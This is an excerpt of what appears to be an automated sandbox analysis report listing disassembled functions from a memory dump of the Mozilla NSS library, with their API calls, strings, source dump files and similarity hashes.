Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 973dd39e30673becec54ba3b7c495051f53061c7987ec431a84eaf0c0e623e39
Instruction ID: c863630761efe3c99f3ab2a22f5a1bc8cf9454a22ffc41f89a74acf0d50c3bdf
Opcode Fuzzy Hash: 973dd39e30673becec54ba3b7c495051f53061c7987ec431a84eaf0c0e623e39
Instruction Fuzzy Hash: 45415BB4A046458FCB00EF79D0849AABBF0FF4A354B018569EC599B710EB30E855CF91

Function 6CB94A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CB95385,?,?,00000000), ref: 6CB94A29
EnterCriticalSection.KERNEL32 ref: 6CB94A42
TlsGetValue.KERNEL32 ref: 6CB94A5F
EnterCriticalSection.KERNEL32 ref: 6CB94A78
PL_HashTableLookup.NSS3 ref: 6CB94A91
PR_Unlock.NSS3 ref: 6CB94A9E
PR_Now.NSS3 ref: 6CB94AAD
PR_Unlock.NSS3 ref: 6CB94AD2

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: bf5279bd8a613e8269b37f2335cc0b7a19e670f2fd1a06373896197bc7dadd09
Instruction ID: a1652a7ac3863e44bd94472f9275e48a02f3ad0a061841c1994bafa9874d8738
Opcode Fuzzy Hash: bf5279bd8a613e8269b37f2335cc0b7a19e670f2fd1a06373896197bc7dadd09
Instruction Fuzzy Hash: 31312F75A046558FCB00EF79D08446AFBF4FF0A354B058969EC9997710EB30E895CBD1

Function 6CC80860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CC87AE2,?,?,?,?,?,?,6CC8798A), ref: 6CC8086C

Part of subcall function 6CC80930: EnterCriticalSection.KERNEL32(?,00000000,?,6CC80C83), ref: 6CC8094F
Part of subcall function 6CC80930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CC80C83), ref: 6CC80974
Part of subcall function 6CC80930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80983
Part of subcall function 6CC80930: _PR_MD_UNLOCK.NSS3(?,?,6CC80C83), ref: 6CC8099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CC87AE2,?,?,?,?,?,?,6CC8798A), ref: 6CC8087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CC87AE2,?,?,?,?,?,?,6CC8798A), ref: 6CC80892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CC8798A), ref: 6CC808AA
free.MOZGLUE(?,00000000,00000000,?,?,6CC87AE2,?,?,?,?,?,?,6CC8798A), ref: 6CC808C7
free.MOZGLUE(?,00000000,00000000,?,?,6CC87AE2,?,?,?,?,?,?,6CC8798A), ref: 6CC808E9
free.MOZGLUE(?,6CC87AE2,?,?,?,?,?,?,6CC8798A), ref: 6CC808EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CC87AE2,?,?,?,?,?,?,6CC8798A), ref: 6CC8090E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 284dd6867b389260e5ad6e08bb93e6fcba7b9a96b4a05b46d71a9f4381b181c9
Instruction ID: e6bf0e3a2cc0c3b516ff0d320eab6087a71dd906df6ba13293ec71a1fc382603
Opcode Fuzzy Hash: 284dd6867b389260e5ad6e08bb93e6fcba7b9a96b4a05b46d71a9f4381b181c9
Instruction Fuzzy Hash: 03115EB1B032805BFB00AB99D85578B3B78EB4276CF1D0124E81697640EA31F996CBD2

Function 6CB665D0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB6670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CB62B2C), ref: 6CB6675E
EnterCriticalSection.KERNEL32(?), ref: 6CB6678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CB62B2C), ref: 6CB667E1

Strings

winClose, xrefs: 6CB668C5
winUnmapfile2, xrefs: 6CB6698B
winUnmapfile1, xrefs: 6CB66964

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-373099266
Opcode ID: 90aecf3dcc23473a68e1083f55069d897c1bb6cbd1b3c81afc6117fd469fed2d
Instruction ID: 42fa94d6470e4377bf2525b3094d54f8fc6ed2c57cdca4fe546e1e1aa6ba5d94
Opcode Fuzzy Hash: 90aecf3dcc23473a68e1083f55069d897c1bb6cbd1b3c81afc6117fd469fed2d
Instruction Fuzzy Hash: 62A16C36B01650CBDF08DF66E899A6A3775FF47716B04402CEE06DBA40DB34B942CB92

Function 6CAF4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAF51BB

Strings

misuse, xrefs: 6CAF51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAF51A5
%s at line %d of [%.10s], xrefs: 6CAF51B4
unable to delete/modify user-function due to active statements, xrefs: 6CAF51DF

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 3c9c2460cbb4481388003f143e8b5d641a3bd38548bb943a93c073c2090189d5
Instruction ID: 236e90d6ea64bddd931bfbeb78e48e269ecc7a594869702217413b79e2d248a9
Opcode Fuzzy Hash: 3c9c2460cbb4481388003f143e8b5d641a3bd38548bb943a93c073c2090189d5
Instruction Fuzzy Hash: D171AF71A0420A9FEB00CE55CD80B9A77B5BF49318F188524FD299BB81D735ED92CBA1

Function 6CB62D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CB62D69

Strings

winUnmapfile2, xrefs: 6CB62F7F
winTruncate1, xrefs: 6CB62EBE
winSeekFile, xrefs: 6CB62E9C
winUnmapfile1, xrefs: 6CB62F55
winTruncate2, xrefs: 6CB62EF8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: b4283f8e3dff199a82865805816d4876c0463650a75880fc1d7b92d4621eded2
Instruction ID: 511cc0e6d70fd14b8a448fb46febb251229722ae35c79bef46142a9b3928deff
Opcode Fuzzy Hash: b4283f8e3dff199a82865805816d4876c0463650a75880fc1d7b92d4621eded2
Instruction Fuzzy Hash: 3F619171A002059FEB04CF65DC94AAA77B1FF49354F10853CE9199BB90EB31AD06CB92

Function 6CBE29E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CBE21DD,00000000), ref: 6CBE2A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CBE21DD,00000002,00000000,00000000,?,?,6CBE21DD,00000000), ref: 6CBE2A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CBE21DD,00000000), ref: 6CBE2A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBE2AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CBE2B0D
PK11_FreeSymKey.NSS3(?), ref: 6CBE2B7B
PK11_FreeSymKey.NSS3(?), ref: 6CBE2BD6

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: c4c0e31a9e956498697fa40147ff50d8abc32fe11d529f9df262bc0dbe5994e2
Instruction ID: 049f554388d6ee79627abc2ec14723d8e2bda99e075e924bc7cf7a904451587d
Opcode Fuzzy Hash: c4c0e31a9e956498697fa40147ff50d8abc32fe11d529f9df262bc0dbe5994e2
Instruction Fuzzy Hash: 70512671E002869BEB109EA5DC85BAF73B5EF0875CF150128EC19AB781E731E805CB93

Function 6CB86980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6CB85DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB85DEC
Part of subcall function 6CB85DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CB85E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB869BA

Part of subcall function 6CBCFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB79003,?), ref: 6CBCFD91
Part of subcall function 6CBCFD80: PORT_Alloc_Util.NSS3(A4686CBD,?), ref: 6CBCFDA2
Part of subcall function 6CBCFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBD,?,?), ref: 6CBCFDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CB86A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB86AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB86ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB86AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB86AE9

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 62ff66154140ef390606262d73b593e2c4cc198540b67301bdaad7c169434e93
Instruction ID: 16ce95f39fd9e18b50c708e658167f9a826728845162798ea85db26bff22ed0e
Opcode Fuzzy Hash: 62ff66154140ef390606262d73b593e2c4cc198540b67301bdaad7c169434e93
Instruction Fuzzy Hash: 5341AEB1A516409BEB10DF28EC45B9B77E9FF44354F188438E95AC7640EF35E901C7A2

Function 6CBBAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CBBAB3E,?,?,?), ref: 6CBBAC35

Part of subcall function 6CB9CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CB9CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CBBAB3E,?,?,?), ref: 6CBBAC55

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CBBAB3E,?,?), ref: 6CBBAC70

Part of subcall function 6CB9E300: TlsGetValue.KERNEL32 ref: 6CB9E33C
Part of subcall function 6CB9E300: EnterCriticalSection.KERNEL32(?), ref: 6CB9E350
Part of subcall function 6CB9E300: PR_Unlock.NSS3(?), ref: 6CB9E5BC
Part of subcall function 6CB9E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CB9E5CA
Part of subcall function 6CB9E300: TlsGetValue.KERNEL32 ref: 6CB9E5F2
Part of subcall function 6CB9E300: EnterCriticalSection.KERNEL32(?), ref: 6CB9E606
Part of subcall function 6CB9E300: PORT_Alloc_Util.NSS3(?), ref: 6CB9E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CBBAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBBAB3E), ref: 6CBBACD7
PORT_Alloc_Util.NSS3(?), ref: 6CBBAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CBBAD2B

Part of subcall function 6CB9F360: TlsGetValue.KERNEL32(00000000,?,6CBBA904,?), ref: 6CB9F38B
Part of subcall function 6CB9F360: EnterCriticalSection.KERNEL32(?,?,?,6CBBA904,?), ref: 6CB9F3A0
Part of subcall function 6CB9F360: PR_Unlock.NSS3(?,?,?,?,6CBBA904,?), ref: 6CB9F3D3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 9bc97a77ce999c77ed6ce123b28d575cfff5796979071f3ade0f4d99879e704c
Instruction ID: 01137402c1a46d1ca16d7db835a7c07700044903cbb64ccc820ea85bb809169c
Opcode Fuzzy Hash: 9bc97a77ce999c77ed6ce123b28d575cfff5796979071f3ade0f4d99879e704c
Instruction Fuzzy Hash: A53139B1E006555FEB008F69DC409BF7776EF85328B198128E819AB740FF31ED058BA1

Function 6CB72920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB7294E

Part of subcall function 6CBD1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CB71D97,?,?), ref: 6CBD1836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB7296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB72991

Part of subcall function 6CBD1820: PR_SetError.NSS3(FFFFE005,00000000,?,6CB71D97,?,?), ref: 6CBD184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB729AF
PR_Now.NSS3 ref: 6CB72A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB72A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB72A79

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 51c1135ad62ab90f54440f337622af6328ef4b168511a99014d78d51b7b7682d
Instruction ID: 0410cfe42081fb0d16e9a5d73a02e88eda414846f1afcea25a0b9a477ebd30a5
Opcode Fuzzy Hash: 51c1135ad62ab90f54440f337622af6328ef4b168511a99014d78d51b7b7682d
Instruction Fuzzy Hash: 2C419671A09391DFC720CE29D840A5FB7E5ABD8754F154A2DFCA893700E730E9098BA3

Function 6CB98C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CB98C7C

Part of subcall function 6CC39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DC6
Part of subcall function 6CC39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DD1
Part of subcall function 6CC39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC39DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB98CB0
TlsGetValue.KERNEL32 ref: 6CB98CD1
EnterCriticalSection.KERNEL32(?), ref: 6CB98CE5
PR_Unlock.NSS3(?), ref: 6CB98D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CB98D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB98D93

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 54e0008adf2c3e1a6b9c71cab0539ce7e7f8fcb37d956ea294bb71c7f3a3d102
Instruction ID: 9c24c4961b174810b1b29f4708182d88f9e381ef945bf1afd2e590f965e5d22d
Opcode Fuzzy Hash: 54e0008adf2c3e1a6b9c71cab0539ce7e7f8fcb37d956ea294bb71c7f3a3d102
Instruction Fuzzy Hash: F1312771A01211AFD7009F69DC4479AB774FF16318F24013AEA1967B60D772B924C7D2

Function 6CB84590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB845B5

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CB845C9

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB845E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB845F8

Part of subcall function 6CBCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBC8D2D,?,00000000,?), ref: 6CBCFB85
